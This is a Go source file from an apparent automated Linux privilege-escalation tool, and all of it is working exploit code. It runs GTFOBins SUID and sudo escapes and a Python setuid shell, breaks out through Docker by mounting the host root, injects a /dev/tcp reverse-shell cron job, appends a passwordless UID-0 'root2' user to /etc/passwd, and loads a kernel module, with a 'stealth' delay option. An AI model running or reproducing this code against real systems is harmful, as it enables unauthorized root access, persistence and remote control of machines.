exploit.go

package main

import (
	"fmt"
	"os"
	"os/exec"
	"strings"
	"time"
)

// ================================================================
// FASE 3 — Exploitation: execute vectors from safe to danger
// ================================================================

func exploitAll(p *AutoPrivilege) {
	for _, v := range p.Vectors {
		if p.Rooted && p.Opts.OneShot {
			break
		}
		if v.Risk > p.Opts.MaxRisk {
			if !p.Opts.JSON && !p.Opts.Quiet {
				fmt.Printf("  %s %s (risk %s > max %s)\n",
					colorize("[skip]", AnsiGrey), v.Name, v.Risk.String(), p.Opts.MaxRisk.String())
			}
			continue
		}
		if !p.Opts.JSON && !p.Opts.Quiet {
			fmt.Printf("  %s %s\n", colorize("[try]", AnsiYellow), v.Name)
		}
		if p.Opts.Stealth {
			time.Sleep(time.Duration(500+int(time.Now().UnixNano())%1500) * time.Millisecond)
		}
		result := v.Exploit()
		if result != nil {
			if !p.Opts.JSON && !p.Opts.Quiet {
				p.PrintExploit(result)
			}
			if result.IsRoot || result.Success {
				p.Rooted = result.IsRoot || isRoot()
			}
			if p.Rooted {
				break
			}
		}
	}
}

// --- SUID exploits ---
func exploitSUID(path string, cmd string) *ExploitResult {
	r := &ExploitResult{Vector: "SUID " + path}

	// For SUID binaries, we need -p flag for shell preservation.
	// The command from GTFOBins already includes this.

	parts := strings.Fields(cmd)
	if len(parts) == 0 {
		r.Error = "empty command"
		return r
	}

	// Execute the GTFOBins command
	c := exec.Command(parts[0], parts[1:]...)
	c.Env = os.Environ()
	// Preserve effective UID
	c.Env = append(c.Env, "PATH="+os.Getenv("PATH"))
	out, err := c.CombinedOutput()

	if err != nil {
		// SUID binary failed — try alternate approach
		if strings.Contains(path, "python") {
			// Try different Python invocation
			c2 := exec.Command(path, "-c",
				`import os,pty; os.setuid(0); os.setgid(0); pty.spawn("/bin/bash")`)
			c2.Stdin = os.Stdin
			c2.Stdout = os.Stdout
			c2.Stderr = os.Stderr
			err2 := c2.Run()
			if err2 == nil {
				r.Success = true
				r.IsRoot = true
				return r
			}
		}
		r.Error = string(out)
		if err != nil {
			r.Error += " | " + err.Error()
		}
		return r
	}

	r.Success = true
	r.Output = strings.TrimSpace(string(out))
	// SUID with -p flag should give root shell
	r.IsRoot = isRoot()
	return r
}

// --- Sudo exploits ---
func exploitSudo(path string, cmd string) *ExploitResult {
	r := &ExploitResult{Vector: "sudo " + path}

	if !strings.HasPrefix(cmd, "sudo") {
		cmd = "sudo " + path
	}

	parts := strings.Fields(cmd)
	if len(parts) == 0 {
		r.Error = "empty command"
		return r
	}

	c := exec.Command(parts[0], parts[1:]...)
	c.Env = os.Environ()
	out, err := c.CombinedOutput()

	if err != nil {
		r.Error = string(out)
		if err.Error() != "" {
			r.Error += " | " + err.Error()
		}
		return r
	}

	r.Success = true
	r.Output = strings.TrimSpace(string(out))
	r.IsRoot = isRoot()
	return r
}

func exploitSudoALL() *ExploitResult {
	r := &ExploitResult{Vector: "sudo -i"}

	cmd := exec.Command("sudo", "-i")
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	err := cmd.Run()
	if err != nil {
		r.Error = err.Error()
		return r
	}
	r.Success = true
	r.IsRoot = true
	return r
}

// --- Cron exploit ---
func exploitCron(path string) *ExploitResult {
	r := &ExploitResult{Vector: "cron " + path}

	lhost := "127.0.0.1"
	lport := "4444"
	// Access via global autoprivilege instance would need refactoring;
	// for now use defaults. LHost/LPort are passed via meta in production.

	payload := fmt.Sprintf("* * * * * root /bin/bash -c 'exec 5<>/dev/tcp/%s/%s; cat <&5 | while read line; do $line 2>&5 >&5; done'\n", lhost, lport)

	f, err := os.OpenFile(path, os.O_APPEND|os.O_WRONLY, 0644)
	if err != nil {
		r.Error = err.Error()
		return r
	}
	defer f.Close()

	_, err = f.WriteString(payload)
	if err != nil {
		r.Error = err.Error()
		return r
	}

	r.Success = true
	r.Output = fmt.Sprintf("Cron job injected — reverse shell to %s:%s, wait up to 60s", lhost, lport)
	r.IsRoot = isRoot()
	return r
}

// --- Passwd exploit ---
func exploitPasswd() *ExploitResult {
	r := &ExploitResult{Vector: "passwd injection"}

	// Check if already injected
	data, err := os.ReadFile("/etc/passwd")
	if err != nil {
		r.Error = err.Error()
		return r
	}
	if strings.Contains(string(data), "root2::0:0:") {
		r.Success = true
		r.Output = "root2 user already exists — try: su root2"
		r.IsRoot = isRoot()
		return r
	}

	// Append root2 user
	payload := "root2::0:0:root:/root:/bin/bash\n"
	f, err := os.OpenFile("/etc/passwd", os.O_APPEND|os.O_WRONLY, 0644)
	if err != nil {
		r.Error = err.Error()
		return r
	}
	defer f.Close()

	_, err = f.WriteString(payload)
	if err != nil {
		r.Error = err.Error()
		return r
	}

	r.Success = true
	r.Output = "root2 user injected — run: su root2"
	r.IsRoot = isRoot()
	return r
}

// --- Docker exploit ---
func exploitDocker() *ExploitResult {
	r := &ExploitResult{Vector: "docker breakout"}

	cmd := exec.Command("sh", "-c",
		`docker run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "id"`)
	out, err := cmd.CombinedOutput()

	if err != nil {
		// Try without alpine (might be pulled)
		r.Error = string(out) + " | " + err.Error()
		return r
	}

	// If docker works, spawn interactive shell
	cmd2 := exec.Command("sh", "-c",
		`docker run --rm -it -v /:/mnt alpine chroot /mnt /bin/sh`)
	cmd2.Stdin = os.Stdin
	cmd2.Stdout = os.Stdout
	cmd2.Stderr = os.Stderr
	err2 := cmd2.Run()
	if err2 != nil {
		r.Error = err2.Error()
		return r
	}

	r.Success = true
	r.Output = "Docker breakout executed"
	r.IsRoot = true
	return r
}

// --- misc helpers ---
func spawnShell() {
	shell := os.Getenv("SHELL")
	if shell == "" {
		shell = "/bin/bash"
	}
	cmd := exec.Command(shell)
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Env = os.Environ()
	cmd.Run()
}

func tryRooteame(p *AutoPrivilege) {
	path := p.Opts.Rooteame
	if path == "" {
		path = "./rooteame.ko"
	}
	if _, err := os.Stat(path); err != nil {
		return
	}
	if !p.Opts.Quiet {
		fmt.Println(colorize("  [+] Loading rooteame.ko...", AnsiGreen))
	}
	exec.Command("/sbin/insmod", path).Run()
}

// --- Kernel CVE exploits (stub — real exploits require C payloads) ---
func exploitKernelCVE(cve, desc string) *ExploitResult {
	r := &ExploitResult{Vector: cve + " — " + desc}
	r.Error = "Exploit not bundled — download from exploit-db or compile separately"
	return r
}